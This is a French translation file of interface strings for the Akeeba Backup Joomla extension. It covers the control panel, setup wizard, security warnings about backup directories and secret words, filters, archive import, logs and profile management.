COM_AKEEBABACKUP_CONFWIZ_UI_MINEXECTRY="Essai avec %s secondes"
COM_AKEEBABACKUP_CONFWIZ_UI_PARTSIZE="Test d'une taille de partie de %s Mo"
COM_AKEEBABACKUP_CONFWIZ_UI_SAVEMINEXEC="Enregistrement de la préférence de temps d'exécution minimum"
COM_AKEEBABACKUP_CONFWIZ_UI_SAVINGMAXEXEC="Enregistrement de la préférence de temps d'exécution maximum"
COM_AKEEBABACKUP_CONFWIZ_UI_TRYAJAX="Tentative d'envoi d'une requête AJAX asynchrone à votre serveur"

COM_AKEEBABACKUP_CONTROLPANEL="Panneau de contrôle"
COM_AKEEBABACKUP_CONTROLPANEL_BTN_HIDE="Me le rappeler dans 15 jours"
COM_AKEEBABACKUP_CONTROLPANEL_BTN_LEARNMORE="En savoir plus sur <strong>Akeeba Backup Professional</strong>"
COM_AKEEBABACKUP_CONTROLPANEL_HEAD_LBL_DISCOUNT="Utilisez le code promo <strong>%s</strong> pour vous abonner avec une remise d'introduction de <strong>20%%</strong>."
COM_AKEEBABACKUP_CONTROLPANEL_HEAD_LBL_PROUPSELL_1="Ajoutez des sauvegardes planifiées, le téléversement automatique vers plus de 40 fournisseurs de stockage cloud, la restauration intégrée, un assistant de transfert de site et bien plus encore avec <strong>Akeeba Backup Professional</strong>."
COM_AKEEBABACKUP_CONTROLPANEL_HEAD_LBL_PROUPSELL_2="Une seule licence est valable pour un nombre <strong>illimité de sites</strong>. Elle inclut le support des développeurs qui créent ce logiciel."
COM_AKEEBABACKUP_CONTROLPANEL_HEAD_PROUPSELL="Simplifiez-vous la vie"
COM_AKEEBABACKUP_CONTROLPANEL_MSG_REBUILTTABLES="<h3>Oups ! Les tables de base de données d'Akeeba Backup sont corrompues.</h3><p>Akeeba Backup a détecté que ses tables de base de données étaient manquantes ou corrompues. Connecté en tant que Super Utilisateur sur le backend administrateur de votre site, accédez à l'élément de menu Système dans la barre latérale Joomla. Sélectionnez le lien Base de données dans le panneau Maintenance. Sélectionnez l'élément Akeeba Backup dans la liste et cliquez sur le bouton Mettre à jour la structure dans la barre d'outils pour résoudre les problèmes de table de base de données. Essayez ensuite d'accéder à nouveau à Akeeba Backup.</p>"
COM_AKEEBABACKUP_CONTROLPANEL_WARN_PERMS_L1="Akeeba Backup n'a pas pu déterminer les permissions du répertoire <code>media/com_akeebabackup</code>."
COM_AKEEBABACKUP_CONTROLPANEL_WARN_PERMS_L2="Veuillez effectuer l'une des actions suivantes :"
COM_AKEEBABACKUP_CONTROLPANEL_WARN_PERMS_L3A="Activer le mode FTP de Joomla! dans la configuration globale"
COM_AKEEBABACKUP_CONTROLPANEL_WARN_PERMS_L3B="Modifier les permissions du répertoire <code>media/com_akeebabackup</code> et de tous ses sous-répertoires en 0755 et de tous ses fichiers en 0644 à l'aide de votre client FTP."
COM_AKEEBABACKUP_CONTROLPANEL_WARN_PERMS_L4="Akeeba Backup <strong><u>ne fonctionnera très probablement pas du tout</u></strong> si vous n'effectuez pas ces étapes. Si vous voyez ce message, veuillez suivre les instructions qu'il contient avant de demander de l'aide. Cela vous fera gagner beaucoup de temps."
COM_AKEEBABACKUP_CONTROLPANEL_WARN_WARNING="AVERTISSEMENT"
COM_AKEEBABACKUP_CPANEL_BTN_FESECRETWORD_RESET="Appliquer le mot secret suggéré"
COM_AKEEBABACKUP_CPANEL_BTN_FIXSECURITY="Corriger la sécurité de mes sauvegardes"
COM_AKEEBABACKUP_CPANEL_ERR_FESECRETWORD_BANNED="Le mot secret est un mot de passe connu comme étant mauvais. Veuillez ne pas utiliser de mots du dictionnaire, de noms de films ou de séries, ni les prénoms de vos proches ou de vos animaux."
COM_AKEEBABACKUP_CPANEL_ERR_FESECRETWORD_HEADER="Les fonctionnalités de sauvegarde frontale et distante sont désactivées"
COM_AKEEBABACKUP_CPANEL_ERR_FESECRETWORD_INTRO="Votre <em>Mot secret</em> n'est pas sécurisé et peut être facilement deviné. Afin de protéger votre site, Akeeba Backup a désactivé l'accès à la sauvegarde frontale et distante jusqu'à ce que vous saisissiez un mot secret sécurisé. Le problème détecté est :"
COM_AKEEBABACKUP_CPANEL_ERR_FESECRETWORD_RESET="Impossible de modifier le mot secret"
COM_AKEEBABACKUP_CPANEL_ERR_FESECRETWORD_TOOSHORT="Le mot secret est trop court. Utilisez un mot secret d'au moins 8 caractères."
COM_AKEEBABACKUP_CPANEL_ERR_FESECRETWORD_TOOSIMPLE="Le mot secret est trop simple. Essayez d'utiliser des lettres minuscules et majuscules, des chiffres et de la ponctuation."
COM_AKEEBABACKUP_CPANEL_ERR_FESECRETWORD_WHATTODO_COMMON="Vous pouvez également cliquer sur le bouton ci-dessous pour réinitialiser le mot secret à la valeur suggérée <code>%s</code>. Dans les deux cas, vous devrez mettre à jour vos services de sauvegarde distante et/ou vos tâches CRON avec le nouveau mot secret."
COM_AKEEBABACKUP_CPANEL_ERR_FESECRETWORD_WHATTODO_JOOMLA="Veuillez cliquer sur Options, Frontend et saisir un mot secret plus complexe."
COM_AKEEBABACKUP_CPANEL_ERR_FESECRETWORD_WHATTODO_SOLO="Veuillez cliquer sur Configuration système, API publique et saisir un mot secret plus complexe."
COM_AKEEBABACKUP_CPANEL_ERR_INVALIDDOWNLOADID="Format d'identifiant de téléchargement invalide. Veuillez suivre nos instructions pour obtenir votre identifiant de téléchargement. Ne saisissez pas votre nom d'utilisateur, adresse e-mail ou mot de passe dans ce champ."
COM_AKEEBABACKUP_CPANEL_HEADER_ADVANCED="Opérations avancées"
COM_AKEEBABACKUP_CPANEL_HEADER_BASICOPS="Opérations de base"
COM_AKEEBABACKUP_CPANEL_HEADER_INCLUDEEXCLUDE="Informations d'inclusion et d'exclusion"
COM_AKEEBABACKUP_CPANEL_HEADER_QUICKBACKUP="Sauvegarde en un clic"
COM_AKEEBABACKUP_CPANEL_HEADER_TROUBLESHOOTING="Dépannage"
COM_AKEEBABACKUP_CPANEL_HEAD_OUTDIR_INSECURE="Répertoire de sortie non sécurisé"
COM_AKEEBABACKUP_CPANEL_HEAD_OUTDIR_INSECURE_ALT="Répertoire de sortie et nom de fichier de sauvegarde potentiellement non sécurisés"
COM_AKEEBABACKUP_CPANEL_HEAD_OUTDIR_INVALID="Répertoire de sortie invalide"
COM_AKEEBABACKUP_CPANEL_HEAD_OUTDIR_UNFIXABLE="Problème de sécurité du répertoire de sortie impossible à corriger"
COM_AKEEBABACKUP_CPANEL_LABEL_STATUSSUMMARY="Résumé du statut"
COM_AKEEBABACKUP_CPANEL_LBL_INCLUDEEXCLUDE_CALLOUT="Les options d'inclusion et d'exclusion s'appliquent uniquement au profil de sauvegarde actif."
COM_AKEEBABACKUP_CPANEL_LBL_OUTDIR_CLICKTHEBUTTON="Cliquez sur le bouton ci-dessous pour résoudre ce problème. Voici ce qu'il fait."
COM_AKEEBABACKUP_CPANEL_LBL_OUTDIR_DELETEORBEHACKED="En attendant, nous vous <strong>DÉCONSEILLONS TRÈS FORTEMENT</strong> d'effectuer une sauvegarde de votre site et, si vous en avez déjà effectué une, supprimez toutes les archives de sauvegarde et les fichiers journaux de sauvegarde. <strong>LE NON-RESPECT DE CES INSTRUCTIONS ENTRAÎNERA TRÈS PROBABLEMENT LA COMPROMISSION (PIRATAGE) DE VOTRE SITE ET VOS SAUVEGARDES SERONT TRÈS PROBABLEMENT INUTILISABLES.</strong>"
COM_AKEEBABACKUP_CPANEL_LBL_OUTDIR_FILEREADABLE="Akeeba Backup a détecté que votre répertoire de sortie de sauvegarde <code>%s</code> se trouve sous la racine web de votre site. Son contenu, y compris vos archives de sauvegarde, est accessible via le web. Cependant, il n'est PAS possible de lister les fichiers du répertoire avec un navigateur web. <strong>Cela peut constituer un problème de sécurité</strong>. Un attaquant peut deviner le nom de l'archive de sauvegarde et la télécharger directement, contournant ainsi la sécurité de votre site."
COM_AKEEBABACKUP_CPANEL_LBL_OUTDIR_FIX_RANDOM="Votre « Nom de fichier de sortie de sauvegarde » sera modifié pour inclure la variable <code>[RANDOM]</code>. Cela rend la devinette des noms de fichiers de sauvegarde pratiquement impossible en ajoutant 16 lettres et/ou chiffres aléatoires différents dans le nom du fichier d'archive de sauvegarde à chaque fois que vous effectuez une sauvegarde."
COM_AKEEBABACKUP_CPANEL_LBL_OUTDIR_FIX_SECURITYFILES="Un fichier <code>.htaccess</code> et un fichier <code>web.config</code> seront écrits dans ce dossier. Sur la plupart des serveurs, cela suffit à empêcher le téléchargement direct de tout fichier qu'il contient et désactive la liste de ses fichiers. Nous avons également une solution pour les serveurs où ces fichiers spéciaux n'ont pas d'effet. Trois autres fichiers appelés <code>index.php</code>, <code>index.html</code> et <code>index.htm</code> seront également écrits dans ce dossier. Ces fichiers index empêchent le serveur web de lister les noms des archives de sauvegarde et des fichiers journaux."
COM_AKEEBABACKUP_CPANEL_LBL_OUTDIR_ISSYSTEM="De plus, votre répertoire de sortie est identique à un dossier utilisé par Joomla et ses extensions pour ses propres fichiers accessibles au public, ou en est un sous-répertoire."
COM_AKEEBABACKUP_CPANEL_LBL_OUTDIR_ISSYSTEM_FIX="Vous devez accéder à la page de configuration d'Akeeba Backup et sélectionner un répertoire de sortie différent."
COM_AKEEBABACKUP_CPANEL_LBL_OUTDIR_LISTABLE="Akeeba Backup a détecté que votre répertoire de sortie de sauvegarde <code>%s</code> se trouve sous la racine web de votre site. Son contenu, y compris vos archives de sauvegarde, est accessible via le web. De plus, il est possible de lister les fichiers du répertoire, c'est-à-dire qu'il affiche une liste de vos archives de sauvegarde lorsque vous y accédez avec un navigateur web. <strong>Il s'agit d'un problème de sécurité majeur</strong>. Un attaquant peut accéder à ce dossier depuis un navigateur web et télécharger vos archives de sauvegarde directement, contournant ainsi la sécurité de votre site."
COM_AKEEBABACKUP_CPANEL_LBL_OUTDIR_TRASHHOST="Malheureusement, votre serveur ne prend en charge aucune méthode raisonnable pour sécuriser le répertoire. Quelle que soit l'action entreprise, il listera toujours les noms des fichiers qu'il contient et permettra de les télécharger depuis un navigateur. Votre seule et unique option est de créer un répertoire de sortie de sauvegarde au-dessus de la racine de votre site."
COM_AKEEBABACKUP_CPANEL_LBL_STATUS_ERROR="Des erreurs détectées empêchent le fonctionnement prévu"
COM_AKEEBABACKUP_CPANEL_LBL_STATUS_OK="Akeeba Backup est prêt à sauvegarder votre site"
COM_AKEEBABACKUP_CPANEL_LBL_STATUS_WARNING="Akeeba Backup est prêt à sauvegarder votre site, mais il y a des problèmes potentiels"
COM_AKEEBABACKUP_CPANEL_LBL_UNWRITABLE="Non accessible en écriture"
COM_AKEEBABACKUP_CPANEL_LBL_WRITABLE="Accessible en écriture"
COM_AKEEBABACKUP_CPANEL_MSG_CLOUDFLARE_WARN1="Nous avons détecté que CloudFlare Rocket Loader est activé sur votre site. Cette fonctionnalité interférera avec le JavaScript de votre site en perturbant l'ordre de chargement des scripts, provoquant ainsi des erreurs JavaScript. Veuillez désactiver la fonctionnalité Rocket Loader pour permettre au JavaScript de Joomla et d'Akeeba Backup de fonctionner correctement. Pour plus d'informations et d'instructions, veuillez consulter <a href='%s' target='_blank'>la documentation de CloudFlare</a>."
COM_AKEEBABACKUP_CPANEL_MSG_CLOUDFLARE_WARN="Le Rocket Loader de CloudFlare vous empêchera d'utiliser Joomla!&trade; et Akeeba Backup correctement"
COM_AKEEBABACKUP_CPANEL_MSG_FESECRETWORD_RESET="Le mot secret a été modifié en <code>%s</code>"
COM_AKEEBABACKUP_CPANEL_MSG_JOOMLABUGGYUPDATES="<strong>Important :</strong> Si Joomla a déjà déterminé qu'il y a des mises à jour pour Akeeba Backup avant que vous saisissiez votre identifiant de téléchargement, il <em>pourrait ne pas être en mesure de les télécharger</em> même après avoir saisi votre identifiant de téléchargement, en raison de plusieurs bugs persistants dans Joomla. Dans ce cas, veuillez télécharger le fichier ZIP de la dernière version depuis notre site. Ensuite, accédez au menu Système de Joomla, trouvez le panneau Installer, cliquez sur Extensions, cliquez sur l'onglet Téléverser un fichier paquet et installez le fichier ZIP téléchargé <strong>deux fois</strong> de suite, <strong>sans</strong> désinstaller Akeeba Backup avant ou entre les deux. La double installation est nécessaire pour contourner un autre bug persistant dans Joomla qui l'empêche parfois de copier tous les fichiers mis à jour lors de l'installation d'une mise à jour d'extension."
COM_AKEEBABACKUP_CPANEL_MSG_MUSTENTERDLID="Vous devez saisir votre identifiant de téléchargement"
COM_AKEEBABACKUP_CPANEL_MSG_WHERETOENTERDLID="Accédez au menu Système de Joomla depuis le côté gauche. Trouvez le panneau Mise à jour et cliquez sur le lien Sites de mise à jour. Trouvez l'élément « Akeeba Backup Professional » et cliquez dessus. Vous pouvez également <a href=\"%s\">cliquer ici</a> pour accéder directement à cette page. Saisissez votre identifiant de téléchargement — votre identifiant principal ou un identifiant de téléchargement complémentaire — dans le champ « Clé de téléchargement » et cliquez sur le bouton Enregistrer."
COM_AKEEBABACKUP_CPANEL_PROFILE_BUTTON="Changer de profil"
COM_AKEEBABACKUP_CPANEL_PROFILE_SWITCH_ERROR="Erreur lors du changement de profil actif"
COM_AKEEBABACKUP_CPANEL_PROFILE_SWITCH_OK="Profil modifié avec succès"
COM_AKEEBABACKUP_CPANEL_PROFILE_TITLE="Profil actif"
COM_AKEEBABACKUP_CPANEL_WARNING_Q001="Répertoire de sortie non accessible en écriture"
COM_AKEEBABACKUP_CPANEL_WARNING_Q003="Utilisation de la racine du site comme répertoire de sortie ou temporaire"
COM_AKEEBABACKUP_CPANEL_WARNING_Q004="La limite mémoire PHP est trop faible"
COM_AKEEBABACKUP_CPANEL_WARNING_Q013="Utilisation du dossier du composant comme répertoire de sortie"
COM_AKEEBABACKUP_CPANEL_WARNING_Q015="Dossier public personnalisé Joomla! avec Déréférencer les liens activé"
COM_AKEEBABACKUP_CPANEL_WARNING_Q101="Le répertoire de sortie est restreint par open_basedir"
COM_AKEEBABACKUP_CPANEL_WARNING_Q103="Le temps d'exécution maximum est trop faible"
COM_AKEEBABACKUP_CPANEL_WARNING_Q104="Le répertoire temporaire est le même que la racine du site"
COM_AKEEBABACKUP_CPANEL_WARNING_Q106="Le préfixe de nom de table de votre base de données contient une ou plusieurs lettres majuscules"
COM_AKEEBABACKUP_CPANEL_WARNING_Q107="Vous utilisez <code>bak_</code> comme préfixe de nom de table de base de données de votre site."
COM_AKEEBABACKUP_CPANEL_WARNING_Q201="Version PHP obsolète"
COM_AKEEBABACKUP_CPANEL_WARNING_Q202="Problème de calcul CRC"
COM_AKEEBABACKUP_CPANEL_WARNING_Q203="Répertoire de sortie par défaut utilisé"
COM_AKEEBABACKUP_CPANEL_WARNING_Q204="Des fonctions désactivées peuvent affecter le fonctionnement"
COM_AKEEBABACKUP_CPANEL_WARNING_Q401="Format ZIP sélectionné"
COM_AKEEBABACKUP_CPANEL_WARNING_QNONE="Aucun problème détecté"
COM_AKEEBABACKUP_CPANL_ERR_MBSTRING_TITLE="Votre version de PHP n'a pas l'extension mbstring installée ou activée."
COM_AKEEBABACKUP_CPANL_ERR_MBSTRING_BODY="Son activation est une exigence de Joomla!. Joomla! et Akeeba Backup ne fonctionneront pas correctement. Veuillez demander à votre hébergeur d'activer l'extension mbstring sur PHP %s fonctionnant sur votre serveur."

COM_AKEEBABACKUP_CONTROLPANEL_WEBPUSH_HEAD="Notifications push"
COM_AKEEBABACKUP_CONTROLPANEL_WEBPUSH_SUMMARY="Gérer les notifications push dans votre navigateur"
COM_AKEEBABACKUP_CONTROLPANEL_WEBPUSH_DETAILS="Les notifications push sont gérées par navigateur et par appareil via l'API Push du navigateur. Certains navigateurs plus anciens peuvent ne pas prendre en charge les notifications push. Veuillez consulter la documentation pour plus d'informations."
COM_AKEEBABACKUP_CONTROLPANEL_WEBPUSH_LBL_UNAVAILABLE_HEAD="Les notifications push ne sont pas disponibles"
COM_AKEEBABACKUP_CONTROLPANEL_WEBPUSH_LBL_UNAVAILABLE_BODY="Votre navigateur ne prend pas en charge l'API Push. Veuillez utiliser une version récente de Firefox, Chrome, Edge, Opera et d'autres navigateurs prenant en charge l'API Web Push. <br/><small>L'API Push est également prise en charge sur Safari dans macOS Ventura et versions ultérieures, ainsi que dans iOS 16.1 et versions ultérieures.</small>"
COM_AKEEBABACKUP_CONTROLPANEL_WEBPUSH_LBL_UNAVAILABLE_SERVER_BODY="Votre serveur ne répond pas aux exigences minimales pour utiliser l'API Push du navigateur afin d'envoyer des notifications. Veuillez consulter la documentation pour la liste des exigences relatives à cette fonctionnalité."
COM_AKEEBABACKUP_CONTROLPANEL_WEBPUSH_BTN_SUBSCRIBE="Activer les notifications push"
COM_AKEEBABACKUP_CONTROLPANEL_WEBPUSH_BTN_UNSUBSCRIBE="Désactiver les notifications push"
COM_AKEEBABACKUP_CONTROLPANEL_WEBPUSH_HELLO_TITLE="Notifications Akeeba Backup activées sur %s"
COM_AKEEBABACKUP_CONTROLPANEL_WEBPUSH_HELLO_BODY="Ce message confirme que l'activation des notifications push a fonctionné et vous montre à quoi ressembleront les notifications Akeeba Backup."

COM_AKEEBABACKUP_DBFILTER="Exclusion de tables de base de données"
COM_AKEEBABACKUP_DBFILTER_LABEL_EXCLUDENONCORE="Exclure les tables non essentielles"
COM_AKEEBABACKUP_DBFILTER_LABEL_NUKEFILTERS="Réinitialiser tous les filtres"
COM_AKEEBABACKUP_DBFILTER_LABEL_ROOTDIR="Base de données actuelle :"
COM_AKEEBABACKUP_DBFILTER_LABEL_SITEDB="Base de données principale du site"
COM_AKEEBABACKUP_DBFILTER_LABEL_TABLES="Tables de base de données, vues, procédures, fonctions et déclencheurs"
COM_AKEEBABACKUP_DBFILTER_TABLE_FUNCTION="Fonction stockée"
COM_AKEEBABACKUP_DBFILTER_TABLE_META_ROWCOUNT="Nombre de lignes"
COM_AKEEBABACKUP_DBFILTER_TABLE_MISC="Table de type Merge, temporaire, mémoire, fédérée, blackhole ou autre<br/>Ses données ne sont jamais sauvegardées par Akeeba Backup."
COM_AKEEBABACKUP_DBFILTER_TABLE_PROCEDURE="Procédure stockée"
COM_AKEEBABACKUP_DBFILTER_TABLE_TABLE="Table de base de données"
COM_AKEEBABACKUP_DBFILTER_TABLE_TRIGGER="Déclencheur de base de données"
COM_AKEEBABACKUP_DBFILTER_TABLE_VIEW="Vue MySQL"
COM_AKEEBABACKUP_DBFILTER_TABLE_TEMP="Table temporaire"
COM_AKEEBABACKUP_DBFILTER_TABLE_UNKNOWN="Autre type d'entité de base de données"
COM_AKEEBABACKUP_DBFILTER_TYPE_REGEXTABLEDATA="Ne pas sauvegarder le contenu d'une table"
COM_AKEEBABACKUP_DBFILTER_TYPE_REGEXTABLES="Exclure une table"
COM_AKEEBABACKUP_DBFILTER_TYPE_TABLEDATA="Ne pas sauvegarder son contenu"
COM_AKEEBABACKUP_DBFILTER_TYPE_TABLES="Exclure ceci"

COM_AKEEBABACKUP_DISCOVER="Importer des archives"
COM_AKEEBABACKUP_DISCOVER_ERROR_NODIRECTORY="Vous n'avez pas sélectionné de répertoire valide"
COM_AKEEBABACKUP_DISCOVER_ERROR_NOFILES="Il n'y a aucun fichier d'archive à importer dans le répertoire sélectionné. Veuillez revenir en arrière et sélectionner un autre répertoire."
COM_AKEEBABACKUP_DISCOVER_ERROR_NOFILESSELECTED="Vous n'avez sélectionné aucun fichier à importer."
COM_AKEEBABACKUP_DISCOVER_LABEL_DIRECTORY="Répertoire"
COM_AKEEBABACKUP_DISCOVER_LABEL_FILES="Fichiers d'archive détectés"
COM_AKEEBABACKUP_DISCOVER_LABEL_GOBACK="Retourner à la sélection de répertoire"
COM_AKEEBABACKUP_DISCOVER_LABEL_IMPORT="Importer les fichiers"
COM_AKEEBABACKUP_DISCOVER_LABEL_IMPORTDONE="L'opération d'importation s'est terminée avec succès."
COM_AKEEBABACKUP_DISCOVER_LABEL_IMPORTEDDESCRIPTION="Archive de sauvegarde importée"
COM_AKEEBABACKUP_DISCOVER_LABEL_S3IMPORT="Vos archives sont-elles stockées sur Amazon S3 ? Cliquez <a href=\"%s\">ici</a> pour les télécharger et les importer en une seule étape !"
COM_AKEEBABACKUP_DISCOVER_LABEL_SCAN="Rechercher des fichiers"
COM_AKEEBABACKUP_DISCOVER_LABEL_SELECTDIR="Sélectionnez un répertoire contenant des archives de sauvegarde"
COM_AKEEBABACKUP_DISCOVER_LABEL_SELECTFILES="Veuillez sélectionner les fichiers à importer. Maintenez la touche CTRL ou Commande enfoncée tout en cliquant sur les fichiers pour effectuer une sélection multiple."

COM_AKEEBABACKUP_EMAIL_POSTPROCESSING_FAILED="Le post-traitement (téléversement vers le stockage distant) a ÉCHOUÉ."
COM_AKEEBABACKUP_EMAIL_POSTPROCESSING_SUCCESS="Le post-traitement (téléversement vers le stockage distant) a réussi."

COM_AKEEBABACKUP_FILEFILTERS="Exclusion de fichiers et de répertoires"
COM_AKEEBABACKUP_FILEFILTERS_EDITOR_TITLE="Modifier"
COM_AKEEBABACKUP_FILEFILTERS_LABEL_ADDNEWFILTER="Ajouter un nouveau filtre :"
COM_AKEEBABACKUP_FILEFILTERS_LABEL_DIRS="Sous-répertoires"
COM_AKEEBABACKUP_FILEFILTERS_LABEL_FILES="Fichiers"
COM_AKEEBABACKUP_FILEFILTERS_LABEL_FILTERITEM="Élément de filtre"
COM_AKEEBABACKUP_FILEFILTERS_LABEL_NORMALVIEW="Vue navigateur"
COM_AKEEBABACKUP_FILEFILTERS_LABEL_NUKEFILTERS="Réinitialiser tous les filtres"
COM_AKEEBABACKUP_FILEFILTERS_LABEL_ROOTDIR="Répertoire racine :"
COM_AKEEBABACKUP_FILEFILTERS_LABEL_TABULARVIEW="Vue résumée"
COM_AKEEBABACKUP_FILEFILTERS_LABEL_TYPE="Type"
COM_AKEEBABACKUP_FILEFILTERS_LABEL_UIERRORFILTER="Une erreur s'est produite lors de l'application du filtre pour &quot;%s&quot;."
COM_AKEEBABACKUP_FILEFILTERS_LABEL_UIROOT="&lt;racine&gt;"
COM_AKEEBABACKUP_FILEFILTERS_LABEL_VIEWALL="Lister toutes les exclusions"
COM_AKEEBABACKUP_FILEFILTERS_TYPE_APPLYTOALLDIRS="Appliquer à tous les dossiers listés"
COM_AKEEBABACKUP_FILEFILTERS_TYPE_APPLYTOALLFILES="Appliquer à tous les fichiers listés"
COM_AKEEBABACKUP_FILEFILTERS_TYPE_DIRECTORIES="Exclure le répertoire"
COM_AKEEBABACKUP_FILEFILTERS_TYPE_DIRECTORIES_ALL="Exclure tous les répertoires"
COM_AKEEBABACKUP_FILEFILTERS_TYPE_FILES="Exclure le fichier"
COM_AKEEBABACKUP_FILEFILTERS_TYPE_FILES_ALL="Exclure tous les fichiers"
COM_AKEEBABACKUP_FILEFILTERS_TYPE_SKIPDIRS="Ignorer les sous-répertoires"
COM_AKEEBABACKUP_FILEFILTERS_TYPE_SKIPDIRS_ALL="Ignorer tous les répertoires"
COM_AKEEBABACKUP_FILEFILTERS_TYPE_SKIPFILES="Ignorer les fichiers"
COM_AKEEBABACKUP_FILEFILTERS_TYPE_SKIPFILES_ALL="Ignorer tous les fichiers"
COM_AKEEBABACKUP_FILTER_SELECT_QUICKICON="– Icône de sauvegarde en un clic –"

COM_AKEEBABACKUP_INCLUDEFOLDER="Inclusion de répertoires hors site"
COM_AKEEBABACKUP_INCLUDEFOLDER_LABEL_DIRECTORY="Répertoire"
COM_AKEEBABACKUP_INCLUDEFOLDER_LABEL_DIRECTORY_HELP="Le répertoire sur votre serveur qui sera inclus dans la sauvegarde. Cette fonctionnalité est destinée uniquement aux répertoires situés en dehors de la racine de votre site. Les répertoires à l'intérieur de la racine du site sont toujours sauvegardés automatiquement, sauf si vous les excluez à l'aide de la fonctionnalité d'exclusion de fichiers et de répertoires."
COM_AKEEBABACKUP_INCLUDEFOLDER_LABEL_VINCLUDEDIR="Sous-répertoire virtuel"
COM_AKEEBABACKUP_INCLUDEFOLDER_LABEL_VINCLUDEDIR_HELP="Les fichiers sont stockés dans l'archive dans un sous-répertoire du répertoire virtuel pour les fichiers hors site, défini dans votre configuration (par défaut : external_files). Vous pouvez personnaliser le nom de ce répertoire. Définissez-le sur une seule barre oblique (ce caractère : /) et vos fichiers externes seront placés dans la racine de votre site. Cela est utile si vous souhaitez remplacer certains fichiers dans la sauvegarde, par exemple votre fichier configuration.php ou personnaliser le modèle du script d'installation."

COM_AKEEBABACKUP_LBL_BATCH_COPY="Copier"
COM_AKEEBABACKUP_LBL_CPANEL_NEEDSDLID="Vous devez saisir votre <strong>identifiant de téléchargement</strong> avant de pouvoir mettre à jour Akeeba Backup Professional et utiliser certaines de ses fonctionnalités de stockage distant. <a href='%s' target='_blank'>Si vous ne connaissez pas votre identifiant de téléchargement, veuillez cliquer ici</a>."
COM_AKEEBABACKUP_LBL_CPANEL_NEEDSUPGRADE_HEAD="La saisie de l'identifiant de téléchargement n'est pas suffisante pour activer les fonctionnalités d'Akeeba Backup Professional"
COM_AKEEBABACKUP_LBL_CPANEL_NEEDSUPGRADE_BODY="Vous devrez télécharger et installer le paquet Akeeba Backup Professional sur votre site <em>deux fois</em>, sans désinstaller la version Core. Pour plus d'informations et des instructions détaillées, veuillez consulter notre <a href='%s'>tutoriel vidéo sur la mise à niveau d'Akeeba Backup Core vers Professional</a>."
COM_AKEEBABACKUP_LBL_PROFILES_SAVED="Le profil a été enregistré avec succès"
COM_AKEEBABACKUP_LBL_PROFILE_COPIED="Le profil et ses paramètres associés ont été copiés avec succès"
COM_AKEEBABACKUP_LBL_PROFILE_DELETED="Le profil a été supprimé avec succès"
COM_AKEEBABACKUP_LBL_PROFILE_SAVED="Le profil a été enregistré avec succès"

COM_AKEEBABACKUP_LOG="Afficher le journal"
COM_AKEEBABACKUP_LOG_CHOOSE_FILE_TITLE="Veuillez choisir un fichier journal à afficher :"
COM_AKEEBABACKUP_LOG_CHOOSE_FILE_VALUE="- Sélectionnez une origine de sauvegarde -"
COM_AKEEBABACKUP_LOG_ERROR_LOGFILENOTEXISTS="Le fichier journal n'existe pas dans votre répertoire de sortie"
COM_AKEEBABACKUP_LOG_ERROR_UNREADABLE="Le fichier journal est illisible"
COM_AKEEBABACKUP_LOG_LABEL_DOWNLOAD="Télécharger le fichier journal"
COM_AKEEBABACKUP_LOG_NONE_FOUND="Aucun fichier journal trouvé"
COM_AKEEBABACKUP_LOG_SHOW_LOG="Afficher le journal"
COM_AKEEBABACKUP_LOG_SIZE_WARNING="Votre fichier journal fait %s Mo. Tenter de l'afficher dans le navigateur risque de le faire planter ou de provoquer une erreur de délai d'attente sur votre serveur. Veuillez utiliser le bouton Télécharger le journal ci-dessus pour télécharger le fichier journal sur votre ordinateur. Vous pouvez l'ouvrir et le lire avec n'importe quel éditeur de texte brut."

COM_AKEEBABACKUP_MULTIDB="Définitions de bases de données multiples"
COM_AKEEBABACKUP_MULTIDB_ERR_MISSINGINFO="Vous devez spécifier au minimum un pilote de base de données, un nom d'hôte, un nom d'utilisateur, un mot de passe et un nom de base de données."
COM_AKEEBABACKUP_MULTIDB_GUI_LBL_CANCEL="Annuler"
COM_AKEEBABACKUP_MULTIDB_GUI_LBL_CONNECTFAIL="Impossible de se connecter à la base de données. Veuillez vérifier vos paramètres. Dernière erreur :"
COM_AKEEBABACKUP_MULTIDB_GUI_LBL_CONNECTOK="Connecté à la base de données !"
COM_AKEEBABACKUP_MULTIDB_GUI_LBL_DATABASE="Nom de la base de données"
COM_AKEEBABACKUP_MULTIDB_GUI_LBL_DRIVER="Pilote de base de données"
COM_AKEEBABACKUP_MULTIDB_GUI_LBL_HOST="Nom d'hôte du serveur de base de données"
COM_AKEEBABACKUP_MULTIDB_GUI_LBL_LOADING="Chargement en cours, veuillez patienter..."
COM_AKEEBABACKUP_MULTIDB_GUI_LBL_PASSWORD="Mot de passe"
COM_AKEEBABACKUP_MULTIDB_GUI_LBL_PORT="Port du serveur de base de données"
COM_AKEEBABACKUP_MULTIDB_GUI_LBL_PREFIX="Préfixe"
COM_AKEEBABACKUP_MULTIDB_GUI_LBL_SAVE="Enregistrer"
COM_AKEEBABACKUP_MULTIDB_GUI_LBL_SAVEFAIL="L'enregistrement a échoué ; veuillez réessayer"
COM_AKEEBABACKUP_MULTIDB_GUI_LBL_TEST="Tester la connexion"
COM_AKEEBABACKUP_MULTIDB_GUI_LBL_USERNAME="Nom d'utilisateur"
COM_AKEEBABACKUP_MULTIDB_LABEL_DATABASE="Nom de la base de données"
COM_AKEEBABACKUP_MULTIDB_LABEL_HOST="Nom d'hôte du serveur de base de données"

COM_AKEEBABACKUP_PROFILES="Gestion des profils"
COM_AKEEBABACKUP_PROFILES_BTN_EXPORT="Exporter"
COM_AKEEBABACKUP_PROFILES_BTN_PUBLISH="Activer l'icône de sauvegarde en un clic"
COM_AKEEBABACKUP_PROFILES_BTN_RESET="Réinitialiser"
COM_AKEEBABACKUP_PROFILES_BTN_UNPUBLISH="Désactiver l'icône de sauvegarde en un clic"
COM_AKEEBABACKUP_PROFILES_ERROR_RESET_FAILED="La réinitialisation de la configuration et des filtres du profil de sauvegarde a échoué. Raison : %s"
COM_AKEEBABACKUP_PROFILES_ERR_IMPORT_FAILED="L'importation du profil a échoué"
COM_AKEEBABACKUP_PROFILES_ERR_IMPORT_INVALID="Fichier invalide. Ce fichier ne ressemble pas à un fichier .json de profil exporté."
COM_AKEEBABACKUP_PROFILES_FILTER_SEARCH_DESC="Trouvez un profil en saisissant une partie de sa description. Trouvez un profil par son identifiant en utilisant la syntaxe <code>id:123</code> où 123 est l'identifiant numérique du profil."
COM_AKEEBABACKUP_PROFILES_FILTER_SEARCH_LABEL="Description"
COM_AKEEBABACKUP_PROFILES_HEADER_IMPORT="Importer"
COM_AKEEBABACKUP_PROFILES_IMPORT="Importer"
